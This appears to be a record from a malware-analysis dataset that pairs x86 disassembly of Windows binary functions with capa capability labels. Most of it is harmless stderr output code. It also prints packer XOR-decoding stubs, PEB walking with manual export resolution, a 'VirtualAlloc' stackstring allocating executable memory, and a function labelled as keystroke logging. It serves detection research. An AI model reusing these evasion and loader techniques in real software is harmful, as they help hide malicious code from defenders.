joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d7e00
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov edi, edx
mov dword [esp], ecx
mov ebx, dword [ecx]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [ebx], 0
je 0x4d7e49
xor ebp, ebp
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
nop
push 2
call esi
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add ebp, 1
cmp ebp, dword [ebx]
jne 0x4d7e30
mov byte [ebx + 4], 0
mov eax, dword [esp]
mov ebp, dword [eax]
test edi, edi
je 0x4d7e61
mov ecx, edi
mov edx, ebp
call fcn.004d2a40
jmp 0x4d7e7e
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov ebx, dword [esp + 0x18]
mov byte [ebp + 4], 1
mov eax, dword [esp]
mov edi, dword [eax]
mov ebp, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 2
call ebp
add esp, 4
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call ebp
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [edi], 0
je 0x4d7ed9
xor esi, esi
nop dword [eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add esi, 1
cmp esi, dword [edi]
jne 0x4d7ec0
mov byte [edi + 4], 0
test ebx, ebx
je 0x4d7eec
mov ecx, ebx
mov edx, edi
call fcn.004d2a40
jmp 0x4d7f09
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov ebx, dword [esp + 0x1c]
mov byte [edi + 4], 1
mov eax, dword [esp]
mov esi, dword [eax]
push 2
call ebp
add esp, 4
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call ebp
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [esi], 0
je 0x4d7f69
xor edi, edi
nop word cs:[eax + eax]
nop dword [eax + eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add edi, 1
cmp edi, dword [esi]
jne 0x4d7f50
mov byte [esi + 4], 0
test ebx, ebx
je 0x4d7f7c
mov ecx, ebx
mov edx, esi
call fcn.004d2a40
jmp 0x4d7f99
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov byte [esi + 4], 1
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4d8370
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp], edx
mov ebx, dword [esp + 0x1c]
mov dword [esp + 4], ecx
mov ebp, dword [ecx]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [ebp], 0
je 0x4d83ca
xor esi, esi
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
nop dword [eax + eax]
push 2
call edi
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add esi, 1
cmp esi, dword [ebp]
jne 0x4d83b0
mov byte [ebp + 4], 0
mov ebp, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 2
call ebp
add esp, 4
mov ecx, dword [esp]
sub ebx, ecx
push ecx
push ebx
push str.__.s_
push eax
call fcn.004cf310
add esp, 0x10
mov ebx, dword [esp + 4]
mov edi, dword [ebx]
push 2
call ebp
add esp, 4
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call ebp
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [edi], 0
je 0x4d8449
xor esi, esi
nop word cs:[eax + eax]
nop dword [eax + eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add esi, 1
cmp esi, dword [edi]
jne 0x4d8430
mov byte [edi + 4], 0
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x4d845e
mov edx, edi
call fcn.004d2a40
jmp 0x4d847b
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov byte [edi + 4], 1
mov esi, dword [ebx]
mov bl, byte [esi + 4]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
test bl, bl
je 0x4d84df
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [esi], 0
je 0x4d84d9
xor edi, edi
nop dword [eax + eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add edi, 1
cmp edi, dword [esi]
jne 0x4d84c0
mov byte [esi + 4], 0
jmp 0x4d84f1
push eax
push 1
push 2
push 0x50e2ca
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
sub ecx, edx
push edx
push ecx
push str.__.s_
push eax
call fcn.004cf310
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4d8520
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp + 4], edx
mov ebx, dword [esp + 0x1c]
mov dword [esp], ecx
mov ebp, dword [ecx]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [ebp], 0
je 0x4d857a
xor esi, esi
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
nop dword [eax + eax]
push 2
call edi
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add esi, 1
cmp esi, dword [ebp]
jne 0x4d8560
mov byte [ebp + 4], 0
mov ebp, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 2
call ebp
add esp, 4
mov ecx, dword [esp + 4]
sub ebx, ecx
push ecx
push ebx
push str.__.s_
push eax
call fcn.004cf310
add esp, 0x10
mov eax, dword [esp]
mov edi, dword [eax]
push 2
call ebp
add esp, 4
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call ebp
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [edi], 0
je 0x4d85f9
xor esi, esi
nop word cs:[eax + eax]
nop dword [eax + eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add esi, 1
cmp esi, dword [edi]
jne 0x4d85e0
mov byte [edi + 4], 0
mov ecx, dword [esp + 0x20]
test ecx, ecx
je 0x4d860e
mov edx, edi
call fcn.004d2a40
jmp 0x4d862b
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov ebx, dword [esp + 0x24]
mov byte [edi + 4], 1
mov eax, dword [esp]
mov esi, dword [eax]
push 2
call ebp
add esp, 4
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call ebp
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [esi], 0
je 0x4d8689
xor edi, edi
nop word cs:[eax + eax]
nop dword [eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add edi, 1
cmp edi, dword [esi]
jne 0x4d8670
mov byte [esi + 4], 0
test ebx, ebx
je 0x4d869c
mov ecx, ebx
mov edx, esi
call fcn.004d2a40
jmp 0x4d86b9
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov byte [esi + 4], 1
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4d8b30
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp + 4], edx
mov esi, ecx
mov al, byte [esp + 0x20]
mov byte [esp + 3], al
mov al, byte [esp + 0x1c]
mov byte [esp + 2], al
mov ebx, dword [ecx]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [ebx], 0
je 0x4d8b99
xor ebp, ebp
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
nop word cs:[eax + eax]
nop dword [eax]
push 2
call edi
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add ebp, 1
cmp ebp, dword [ebx]
jne 0x4d8b80
mov byte [ebx + 4], 0
mov ebx, dword [esi]
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x4d8bb0
mov edx, ebx
call fcn.004d2a40
jmp 0x4d8bcd
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov byte [ebx + 4], 1
mov ecx, dword [esi]
movzx edx, byte [esp + 2]
call fcn.004d7960
mov ecx, dword [esi]
movzx edx, byte [esp + 3]
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
jmp fcn.004d7960
Function at 0x4d8bf0
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov edi, edx
mov dword [esp], ecx
mov ebx, dword [ecx]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [ebx], 0
je 0x4d8c39
xor ebp, ebp
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
nop
push 2
call esi
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add ebp, 1
cmp ebp, dword [ebx]
jne 0x4d8c20
mov byte [ebx + 4], 0
mov eax, dword [esp]
mov ebp, dword [eax]
test edi, edi
je 0x4d8c51
mov ecx, edi
mov edx, ebp
call fcn.004d2a40
jmp 0x4d8c6e
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov ebx, dword [esp + 0x18]
mov byte [ebp + 4], 1
mov eax, dword [esp]
mov edi, dword [eax]
mov ebp, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 2
call ebp
add esp, 4
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call ebp
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [edi], 0
je 0x4d8cc9
xor esi, esi
nop dword [eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add esi, 1
cmp esi, dword [edi]
jne 0x4d8cb0
mov byte [edi + 4], 0
test ebx, ebx
je 0x4d8cdc
mov ecx, ebx
mov edx, edi
call fcn.004d2a40
jmp 0x4d8cf9
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov byte [edi + 4], 1
mov eax, dword [esp]
mov esi, dword [eax]
mov bl, byte [esi + 4]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
test bl, bl
je 0x4d8d5f
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [esi], 0
je 0x4d8d59
xor edi, edi
nop dword [eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add edi, 1
cmp edi, dword [esi]
jne 0x4d8d40
mov byte [esi + 4], 0
jmp 0x4d8d71
push eax
push 1
push 2
push 0x50e2ca
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
sub ecx, edx
push edx
push ecx
push str.__.s_
push eax
call fcn.004cf310
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4d8ff0
Capabilities:
Write file on windows

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov ebx, edx
mov al, byte [esp + 0x24]
mov byte [esp + 3], al
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov ebp, dword [ecx]
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [ebp], 0
je 0x4d905a
xor edi, edi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
nop word cs:[eax + eax]
nop dword [eax]
push 2
call esi
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add edi, 1
cmp edi, dword [ebp]
jne 0x4d9040
mov byte [ebp + 4], 0
mov edi, dword [esp + 8]
mov ebp, dword [edi]
test ebx, ebx
je 0x4d9073
mov ecx, ebx
mov edx, ebp
call fcn.004d2a40
jmp 0x4d9090
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov byte [ebp + 4], 1
mov ebx, dword [edi]
mov ebp, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
push 2
call ebp
add esp, 4
push eax
push 0x2c
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
push 2
call ebp
add esp, 4
push eax
push 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
cmp dword [ebx], 0
je 0x4d90e9
xor esi, esi
nop word [eax + eax]
push 2
call ebp
add esp, 4
push eax
push 0x20
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
add esp, 8
add esi, 1
cmp esi, dword [ebx]
jne 0x4d90d0
mov byte [ebx + 4], 0
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x4d90fe
mov edx, ebx
call fcn.004d2a40
jmp 0x4d911b
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
push 1
push 6
push str._null_
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov byte [ebx + 4], 1
mov ecx, dword [edi]
movzx edx, byte [esp + 3]
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
jmp fcn.004d7960
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x13151e27
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0xc152819
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402e54
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x402e97
push 0x19
push 0x4039c6f
push 6
call fcn.00408800
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402eae
mov eax, 0x4162eb
jmp 0x402f5d
inc dword [ebp - 4]
fild dword [ebp - 4]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fmul qword [0x416304]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
call fcn.00401aad
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x1bc
call fcn.00409810
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402efc
push ebx
call fcn.004087e8
add esp, 4
pop eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.00402f75
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 4]
push dword [ebp - 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x402f3e
push 0x136
push 0x4039c6f
push 6
call fcn.00408800
add esp, 0xc
mov eax, dword [ebp - 8]
test eax, eax
je 0x402f58
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.004087ee
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x402f5d
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x402f6e
push ebx
call fcn.004087e8
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x403489
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], esp
xor eax, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4034d0
push 0x19
push 0x403919c
push 6
call fcn.00408800
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], esp
mov eax, 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40350b
push 0x46
push 0x403919c
push 6
call fcn.00408800
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], esp
push 1
push dword [ebp - 4]
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x403542
push 0x6a
push 0x403919c
push 6
call fcn.00408800
add esp, 0xc
mov dword [ebp - 0x10], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_SetActiveWindow]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x40356e
push 0xa7
push 0x403919c
push 6
call fcn.00408800
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 0
push dword [ebp - 4]
push dword [ebp - 8]
xor eax, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x4035a5
push 0xc2
push 0x403919c
push 6
call fcn.00408800
add esp, 0xc
mov eax, dword [ebp - 0xc]
jmp 0x4035ad
mov esp, ebp
pop ebp
ret 8
Function at 0x403ae0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x403b94
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00403a70
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x403b6d
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403ba0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x403bbb
test ebp, ebp
je 0x403bbb
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x403bc3
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x403c03
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x403c5f
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x403c5a
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x403c45
test dl, dl
je 0x403c41
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x403c45
add ecx, 2
add eax, 2
test dl, dl
jne 0x403c25
xor eax, eax
jmp 0x403c4a
sbb eax, eax
or eax, 1
test eax, eax
je 0x403c69
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x403c12
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x403c80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.00403ae0
test eax, eax
jne 0x403c98
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.00403ba0
mov esi, eax
test esi, esi
jne 0x403cce
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
push 0x3000
push edi
push ebx
call esi
test eax, eax
jne 0x403ce8
push 0x40
push 0x3000
push edi
push eax
call esi
pop esi
pop edi
pop ebx
add esp, 0x10
ret